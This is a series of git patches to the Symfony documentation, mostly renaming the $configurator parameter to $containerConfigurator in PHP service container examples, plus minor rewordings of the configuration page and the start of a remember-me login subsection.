             // ...
 
             // same as before
@@ -580,8 +580,8 @@ parameter and in PHP config use the ``service()`` function:
 
         use App\Service\MessageGenerator;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(MessageGenerator::class)
                 // In versions earlier to Symfony 5.1 the service() function was called ref()
@@ -687,7 +687,7 @@ But, you can control this and pass in a different logger:
 
         use App\Service\MessageGenerator;
 
-        return function(ContainerConfigurator $configurator) {
+        return function(ContainerConfigurator $containerConfigurator) {
             // ... same code as before
 
             // explicitly configure the service
@@ -788,8 +788,8 @@ You can also use the ``bind`` keyword to bind specific arguments by name or type
         use Symfony\Component\DependencyInjection\Definition;
         use Symfony\Component\DependencyInjection\Reference;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services()
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services()
                 ->defaults()
                     // pass this value to any $adminEmail argument for any service
                     // that's defined in this file (including controller arguments)
@@ -923,7 +923,7 @@ setting:
 
         use App\Service\PublicService;
 
-        return function(ContainerConfigurator $configurator) {
+        return function(ContainerConfigurator $containerConfigurator) {
             // ... same as code before
 
             // explicitly configure the service
@@ -980,7 +980,7 @@ key. For example, the default Symfony configuration contains this:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $configurator) {
+        return function(ContainerConfigurator $containerConfigurator) {
             // ...
 
             // makes classes in src/ available to be used as services
@@ -1162,7 +1162,7 @@ admin email. In this case, each needs to have a unique service id:
         use App\Service\MessageGenerator;
         use App\Service\SiteUpdateManager;
 
-        return function(ContainerConfigurator $configurator) {
+        return function(ContainerConfigurator $containerConfigurator) {
             // ...
 
             // site_update_manager.superadmin is the service's id
diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index da8eaf86328..7f39478a247 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -58,8 +58,8 @@ You can also control the ``public`` option on a service-by-service basis:
 
         use App\Service\Foo;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(Foo::class)
                 ->public();
@@ -130,8 +130,8 @@ services.
 
         use App\Mail\PhpMailer;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(PhpMailer::class)
                 ->private();
@@ -278,8 +278,8 @@ The following example shows how to inject an anonymous service into another serv
         use App\AnonymousBar;
         use App\Foo;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(Foo::class)
                 // In versions earlier to Symfony 5.1 the inline_service() function was called inline()
@@ -330,8 +330,8 @@ Using an anonymous service as a factory looks like this:
         use App\AnonymousBar;
         use App\Foo;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(Foo::class)
                 ->factory([inline_service(AnonymousBar::class), 'constructFoo']);
@@ -376,8 +376,8 @@ or you decided not to maintain it anymore), you can deprecate its definition:
 
         use App\Service\OldService;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(OldService::class)
                 ->deprecate(
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index bb89ee3451a..d74b445a054 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -107,8 +107,8 @@ both services:
     .. code-block:: php
 
         // config/services.php
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services()
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services()
                 ->defaults()
                     ->autowire()
                     ->autoconfigure()
@@ -246,7 +246,7 @@ adding a service alias:
 
         use App\Util\Rot13Transformer;
 
-        return function(ContainerConfigurator $configurator) {
+        return function(ContainerConfigurator $containerConfigurator) {
             // ...
 
             // the id is not a class, so it won't be used for autowiring
@@ -353,7 +353,7 @@ To fix that, add an :ref:`alias <service-autowiring-alias>`:
         use App\Util\Rot13Transformer;
         use App\Util\TransformerInterface;
 
-        return function(ContainerConfigurator $configurator) {
+        return function(ContainerConfigurator $containerConfigurator) {
             // ...
 
             $services->set(Rot13Transformer::class);
@@ -497,7 +497,7 @@ the injection::
         use App\Util\TransformerInterface;
         use App\Util\UppercaseTransformer;
 
-        return function(ContainerConfigurator $configurator) {
+        return function(ContainerConfigurator $containerConfigurator) {
             // ...
 
             $services->set(Rot13Transformer::class)->autowire();
diff --git a/service_container/calls.rst b/service_container/calls.rst
index 9f7ac768976..5e6036421df 100644
--- a/service_container/calls.rst
+++ b/service_container/calls.rst
@@ -69,7 +69,7 @@ To configure the container to call the ``setLogger`` method, use the ``calls`` k
 
         use App\Service\MessageGenerator;
 
-        return function(ContainerConfigurator $configurator) {
+        return function(ContainerConfigurator $containerConfigurator) {
             // ...
 
             $services->set(MessageGenerator::class)
diff --git a/service_container/configurators.rst b/service_container/configurators.rst
index 7cf3f4e09c5..4fab69c5551 100644
--- a/service_container/configurators.rst
+++ b/service_container/configurators.rst
@@ -172,8 +172,8 @@ all the classes are already loaded as services. All you need to do is specify th
         use App\Mail\GreetingCardManager;
         use App\Mail\NewsletterManager;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             // Registers all 4 classes as services, including App\Mail\EmailConfigurator
             $services->load('App\\', '../src/*');
@@ -242,8 +242,8 @@ Services can be configured via invokable configurators (replacing the
         use App\Mail\GreetingCardManager;
         use App\Mail\NewsletterManager;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             // Registers all 4 classes as services, including App\Mail\EmailConfigurator
             $services->load('App\\', '../src/*');
diff --git a/service_container/expression_language.rst b/service_container/expression_language.rst
index 972d7286c88..f755057e240 100644
--- a/service_container/expression_language.rst
+++ b/service_container/expression_language.rst
@@ -61,7 +61,7 @@ to another service: ``App\Mailer``. One way to do this is with an expression:
         use App\Mail\MailerConfiguration;
         use App\Mailer;
 
-        return function(ContainerConfigurator $configurator) {
+        return function(ContainerConfigurator $containerConfigurator) {
             // ...
 
             $services->set(MailerConfiguration::class);
@@ -116,8 +116,8 @@ via a ``container`` variable. Here's another example:
 
         use App\Mailer;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(Mailer::class)
                 ->args([expr("container.hasParameter('some_param') ? parameter('some_param') : 'default_value'")]);
diff --git a/service_container/factories.rst b/service_container/factories.rst
index d2fda053923..36a9a2e7db8 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -83,8 +83,8 @@ create its object:
         use App\Email\NewsletterManager;
         use App\Email\NewsletterManagerStaticFactory;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(NewsletterManager::class)
                 // the first argument is the class and the second argument is the static method
@@ -154,8 +154,8 @@ Configuration of the service container then looks like this:
         use App\Email\NewsletterManager;
         use App\Email\NewsletterManagerFactory;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             // first, create a service for the factory
             $services->set(NewsletterManagerFactory::class);
@@ -233,8 +233,8 @@ method name:
         use App\Email\NewsletterManager;
         use App\Email\NewsletterManagerFactory;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(NewsletterManager::class)
                 ->factory(service(InvokableNewsletterManagerFactory::class));
@@ -293,8 +293,8 @@ previous examples takes the ``templating`` service as an argument:
         use App\Email\NewsletterManager;
         use App\Email\NewsletterManagerFactory;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(NewsletterManager::class)
                 ->factory([service(NewsletterManagerFactory::class), 'createNewsletterManager'])
diff --git a/service_container/import.rst b/service_container/import.rst
index b37c8360388..433b03d9812 100644
--- a/service_container/import.rst
+++ b/service_container/import.rst
@@ -123,12 +123,12 @@ a relative or absolute path to the imported file:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $configurator) {
-            $configurator->import('services/mailer.php');
+        return function(ContainerConfigurator $containerConfigurator) {
+            $containerConfigurator->import('services/mailer.php');
             // If you want to import a whole directory:
-            $configurator->import('services/');
+            $containerConfigurator->import('services/');
 
-            $services = $configurator->services()
+            $services = $containerConfigurator->services()
                 ->defaults()
                     ->autowire()
                     ->autoconfigure()
diff --git a/service_container/injection_types.rst b/service_container/injection_types.rst
index fd47fcef56c..81d06810f9f 100644
--- a/service_container/injection_types.rst
+++ b/service_container/injection_types.rst
@@ -74,8 +74,8 @@ service container configuration:
 
         use App\Mail\NewsletterManager;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(NewsletterManager::class)
                 // In versions earlier to Symfony 5.1 the service() function was called ref()
@@ -277,8 +277,8 @@ that accepts the dependency::
 
         use App\Mail\NewsletterManager;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(NewsletterManager::class)
                 ->call('setMailer', [service('mailer')]);
@@ -359,8 +359,8 @@ Another possibility is setting public fields of the class directly::
 
         use App\Mail\NewsletterManager;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set('app.newsletter_manager', NewsletterManager::class)
                 ->property('mailer', service('mailer'));
diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index b259895b9f5..7b0bd0442c5 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -76,8 +76,8 @@ You can mark the service as ``lazy`` by manipulating its definition:
 
         use App\Twig\AppExtension;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(AppExtension::class)->lazy();
         };
@@ -150,8 +150,8 @@ specific interfaces.
         use App\Twig\AppExtension;
         use Twig\Extension\ExtensionInterface;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(AppExtension::class)
                 ->lazy()
diff --git a/service_container/optional_dependencies.rst b/service_container/optional_dependencies.rst
index e05e050ba9c..8317cd363df 100644
--- a/service_container/optional_dependencies.rst
+++ b/service_container/optional_dependencies.rst
@@ -38,8 +38,8 @@ if the service does not exist:
 
         use App\Newsletter\NewsletterManager;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(NewsletterManager::class)
                 // In versions earlier to Symfony 5.1 the service() function was called ref()
@@ -95,8 +95,8 @@ call if the service exists and remove the method call if it does not:
 
         use App\Newsletter\NewsletterManager;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(NewsletterManager::class)
                 ->call('setLogger', [service('logger')->ignoreOnInvalid()])
diff --git a/service_container/parent_services.rst b/service_container/parent_services.rst
index 7df74b37a43..3c1db4d9a73 100644
--- a/service_container/parent_services.rst
+++ b/service_container/parent_services.rst
@@ -122,8 +122,8 @@ avoid duplicated service definitions:
         use App\Repository\DoctrinePostRepository;
         use App\Repository\DoctrineUserRepository;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(BaseDoctrineRepository::class)
                 ->abstract()
@@ -232,8 +232,8 @@ the child class:
         use App\Repository\DoctrineUserRepository;
         // ...
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(BaseDoctrineRepository::class)
                 // ...
diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 06f7a0df1ab..1b09c3b54f9 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -44,8 +44,8 @@ When overriding an existing definition, the original service is lost:
         use App\Mailer;
         use App\NewMailer;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(Mailer::class);
 
@@ -101,8 +101,8 @@ but keeps a reference of the old one as ``.inner``:
         use App\DecoratingMailer;
         use App\Mailer;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(Mailer::class);
 
@@ -164,8 +164,8 @@ automatically changed to ``'.inner'``):
         use App\DecoratingMailer;
         use App\Mailer;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(Mailer::class);
 
@@ -236,8 +236,8 @@ automatically changed to ``'.inner'``):
             use App\DecoratingMailer;
             use App\Mailer;
 
-            return function(ContainerConfigurator $configurator) {
-                $services = $configurator->services();
+            return function(ContainerConfigurator $containerConfigurator) {
+                $services = $containerConfigurator->services();
 
                 $services->set(Mailer::class);
 
@@ -298,8 +298,8 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(\Foo::class);
 
@@ -385,8 +385,8 @@ ordered services, each one decorating the next:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $container) {
-            $container->services()
+        return function(ContainerConfigurator $containerConfigurator) {
+            $containerConfigurator->services()
                 ->stack('decorated_foo_stack', [
                     inline_service(\Baz::class)->args([service('.inner')]),
                     inline_service(\Bar::class)->args([service('.inner')]),
@@ -468,8 +468,8 @@ advanced example of composition:
         use App\Decorated;
         use App\Decorator;
 
-        return function(ContainerConfigurator $container) {
-            $container->services()
+        return function(ContainerConfigurator $containerConfigurator) {
+            $containerConfigurator->services()
                 ->set('some_decorator', Decorator::class)
 
                 ->stack('embedded_stack', [
@@ -586,8 +586,8 @@ Three different behaviors are available:
 
         use Symfony\Component\DependencyInjection\ContainerInterface;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(Foo::class);
 
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index a7d9971b8db..6ca1f976622 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -231,8 +231,8 @@ service type to a service.
 
         use App\CommandBus;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(CommandBus::class)
                 ->tag('container.service_subscriber', ['key' => 'logger', 'id' => 'monolog.logger.event']);
@@ -323,8 +323,8 @@ or directly via PHP attributes:
 
         use App\CommandBus;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(CommandBus::class)
                 ->args([service_locator([
@@ -409,8 +409,8 @@ other services. To do so, create a new service definition using the
 
         use Symfony\Component\DependencyInjection\ServiceLocator;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set('app.command_handler_locator', ServiceLocator::class)
                 // In versions earlier to Symfony 5.1 the service() function was called ref()
@@ -471,8 +471,8 @@ Now you can inject the service locator in any other services:
 
         use App\CommandBus;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(CommandBus::class)
                 ->args([service('app.command_handler_locator')]);
@@ -562,8 +562,8 @@ of the ``key`` tag attribute (as defined in the ``index_by`` locator option):
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(App\Handler\One::class)
                 ->tag('app.handler', ['key' => 'handler_one'])
@@ -652,8 +652,8 @@ attribute to the locator service defining the name of this custom method:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $configurator) {
-            $configurator->services()
+        return function(ContainerConfigurator $containerConfigurator) {
+            $containerConfigurator->services()
                 ->set(App\HandlerCollection::class)
                     ->args([tagged_locator('app.handler', 'key', 'myOwnMethodName')])
             ;
diff --git a/service_container/shared.rst b/service_container/shared.rst
index d676f592125..0b87976dc39 100644
--- a/service_container/shared.rst
+++ b/service_container/shared.rst
@@ -36,8 +36,8 @@ in your service definition:
 
         use App\SomeNonSharedService;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(SomeNonSharedService::class)
                 ->share(false);
diff --git a/service_container/synthetic_services.rst b/service_container/synthetic_services.rst
index 59869d5d7f3..0a83bebed9e 100644
--- a/service_container/synthetic_services.rst
+++ b/service_container/synthetic_services.rst
@@ -66,8 +66,8 @@ configuration:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             // synthetic services don't specify a class
             $services->set('app.synthetic_service')
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 8e990dadee0..2874fb103f2 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -41,8 +41,8 @@ example:
 
         use App\Twig\AppExtension;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(AppExtension::class)
                 ->tag('twig.extension');
@@ -107,8 +107,8 @@ If you want to apply tags automatically for your own services, use the
 
         use App\Security\CustomInterface;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             // this config only applies to the services created by this file
             $services
@@ -217,8 +217,8 @@ Then, define the chain as a service:
 
         use App\Mail\TransportChain;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(TransportChain::class);
         };
@@ -271,8 +271,8 @@ For example, you may add the following transports as services:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(\MailerSmtpTransport::class)
                 // the param() method was introduced in Symfony 5.2.
@@ -438,8 +438,8 @@ To answer this, change the service declaration:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(\MailerSmtpTransport::class)
                 // the param() method was introduced in Symfony 5.2.
@@ -590,8 +590,8 @@ directly via PHP attributes:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(App\Handler\One::class)
                 ->tag('app.handler')
@@ -655,8 +655,8 @@ the number, the earlier the tagged service will be located in the collection:
 
         use App\Handler\One;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(One::class)
                 ->tag('app.handler', ['priority' => 20])
@@ -715,8 +715,8 @@ you can define it in the configuration of the collecting service:
 
         use Symfony\Component\DependencyInjection\Argument\TaggedIteratorArgument;
 
-        return function (ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function (ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             // ...
 
@@ -787,8 +787,8 @@ indexed by the ``key`` attribute:
         use App\Handler\Two;
         use Symfony\Component\DependencyInjection\Argument\TaggedIteratorArgument;
 
-        return function (ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function (ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(One::class)
                 ->tag('app.handler', ['key' => 'handler_one']);
@@ -885,8 +885,8 @@ array element. For example, to retrieve the ``handler_two`` handler::
             use App\HandlerCollection;
             use Symfony\Component\DependencyInjection\Argument\TaggedIteratorArgument;
 
-            return function (ContainerConfigurator $configurator) {
-                $services = $configurator->services();
+            return function (ContainerConfigurator $containerConfigurator) {
+                $services = $containerConfigurator->services();
 
                 // ...
 
diff --git a/session.rst b/session.rst
index c4c6714c226..90ef240013e 100644
--- a/session.rst
+++ b/session.rst
@@ -240,8 +240,8 @@ your ``Session`` object with the default ``AttributeBag`` by the ``NamespacedAtt
         use Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag;
         use Symfony\Component\HttpFoundation\Session\Session;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set('session', Session::class)
                 ->public()
diff --git a/session/database.rst b/session/database.rst
index de4d5213b81..f14ef7a0656 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -249,8 +249,8 @@ first register a new handler service with your database credentials:
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
 
-        return static function (ContainerConfigurator $container) {
-            $services = $configurator->services();
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(PdoSessionHandler::class)
                 ->args([
@@ -354,8 +354,8 @@ passed to the ``PdoSessionHandler`` service:
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
 
-        return static function (ContainerConfigurator $container) {
-            $services = $configurator->services();
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(PdoSessionHandler::class)
                 ->args([
@@ -524,8 +524,8 @@ the MongoDB connection as argument:
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
 
-        return static function (ContainerConfigurator $container) {
-            $services = $configurator->services();
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(MongoDbSessionHandler::class)
                 ->args([
@@ -633,8 +633,8 @@ configure these values with the second argument passed to the
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
 
-        return static function (ContainerConfigurator $container) {
-            $services = $configurator->services();
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(MongoDbSessionHandler::class)
                 ->args([
diff --git a/testing.rst b/testing.rst
index 0e7d861894f..8f1b7692ca2 100644
--- a/testing.rst
+++ b/testing.rst
@@ -360,8 +360,8 @@ the ``test`` environment as follows:
         use App\Contracts\Repository\NewsRepositoryInterface;
         use App\Repository\NewsRepository;
 
-        return static function (ContainerConfigurator $container) {
-            $container->services()
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $containerConfigurator->services()
                 // redefine the alias as it should be while making it public
                 ->alias(NewsRepositoryInterface::class, NewsRepository::class)
                     ->public()

From 23593c6ec4879eb9eac56fecacf9e20f01a3d008 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 6 Jan 2023 16:44:57 +0100
Subject: [PATCH 4046/7107] Minor rewordings

---
 configuration.rst | 17 ++++++++---------
 1 file changed, 8 insertions(+), 9 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index d88b72ad3af..a93080c9946 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -18,14 +18,13 @@ directory, which has this default structure:
     │  ├─ bundles.php
     │  ├─ routes.yaml
     │  └─ services.yaml
-    ├─ ...
 
-The ``routes.yaml`` file defines the :doc:`routing configuration </routing>`;
-the ``services.yaml`` file configures the services of the
-:doc:`service container </service_container>`; the ``bundles.php`` file enables/
-disables packages in your application.
+* The ``routes.yaml`` file defines the :doc:`routing configuration </routing>`;
+* the ``services.yaml`` file configures the services of the
+:doc:`service container </service_container>`;
+* the ``bundles.php`` file enables/disables packages in your application.
 
-You'll be working mostly in the ``config/packages/`` directory. This directory
+The ``config/packages/`` directory
 stores the configuration of every package installed in your application.
 Packages (also called "bundles" in Symfony and "plugins/modules" in other
 projects) add ready-to-use features to your projects.
@@ -33,7 +32,7 @@ projects) add ready-to-use features to your projects.
 When using :ref:`Symfony Flex <symfony-flex>`, which is enabled by default in
 Symfony applications, packages update the ``bundles.php`` file and create new
 files in ``config/packages/`` automatically during their installation. For
-example, this is the default file created by the "API Platform" package:
+example, this is the default file created by the "API Platform" bundle:
 
 .. code-block:: yaml
 
@@ -42,9 +41,9 @@ example, this is the default file created by the "API Platform" package:
         mapping:
             paths: ['%kernel.project_dir%/src/Entity']
 
-Splitting the configuration into lots of small files is intimidating for some
+Splitting the configuration into lots of small files might appear intimidating for some
 Symfony newcomers. However, you'll get used to them quickly and you rarely need
-to change these files after package installation
+to change these files after package installation.
 
 .. tip::
 

From b0e43407b7b21e55682ec2a762af2ae7b905aa8b Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 6 Jan 2023 16:50:55 +0100
Subject: [PATCH 4047/7107] More minor rewordings

---
 configuration.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index d88b72ad3af..f1f66be2fdf 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -58,8 +58,8 @@ Configuration Formats
 ~~~~~~~~~~~~~~~~~~~~~
 
 Unlike other frameworks, Symfony doesn't impose a specific format on you to
-configure your applications. Symfony lets you choose between YAML, XML and PHP
-and throughout the Symfony documentation, all configuration examples will be
+configure your applications, but lets you choose between YAML, XML and PHP. 
+Throughout the Symfony documentation, all configuration examples will be
 shown in these three formats.
 
 .. versionadded:: 5.1

From f0c7716180c328f093ce0975d425676974f65339 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 6 Jan 2023 17:03:51 +0100
Subject: [PATCH 4048/7107] Emphasizing *NOT* working

---
 .../dependency_injection/_imports-parameters-note.rst.inc       | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/dependency_injection/_imports-parameters-note.rst.inc b/components/dependency_injection/_imports-parameters-note.rst.inc
index 1df99833e86..45a75652fda 100644
--- a/components/dependency_injection/_imports-parameters-note.rst.inc
+++ b/components/dependency_injection/_imports-parameters-note.rst.inc
@@ -2,7 +2,7 @@
 
     Due to the way in which parameters are resolved, you cannot use them
     to build paths in imports dynamically. This means that something like
-    the following doesn't work:
+    **the following does not work:**
 
     .. configuration-block::
 

From 4397755ac27d0b43dd4395f45315b329c1558a6a Mon Sep 17 00:00:00 2001
From: Markus Baumer <markus@baumer.dev>
Date: Fri, 6 Jan 2023 19:41:51 +0100
Subject: [PATCH 4049/7107] Add JSON login remember me symfony/symfony#48899

---
 security/remember_me.rst | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)

diff --git a/security/remember_me.rst b/security/remember_me.rst
index 702baefd9fc..5d6d089c79a 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -111,6 +111,9 @@ Using the remember me cookie is not always appropriate (e.g. you should not
 use it on a shared PC). This is why by default, Symfony requires your users
 to opt-in to the remember me system via a request parameter.
 
+Remember Me for Form Login
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
 This request parameter is often set via a checkbox in the login form. This
 checkbox must have a name of ``_remember_me``:
 
@@ -133,6 +136,25 @@ checkbox must have a name of ``_remember_me``:
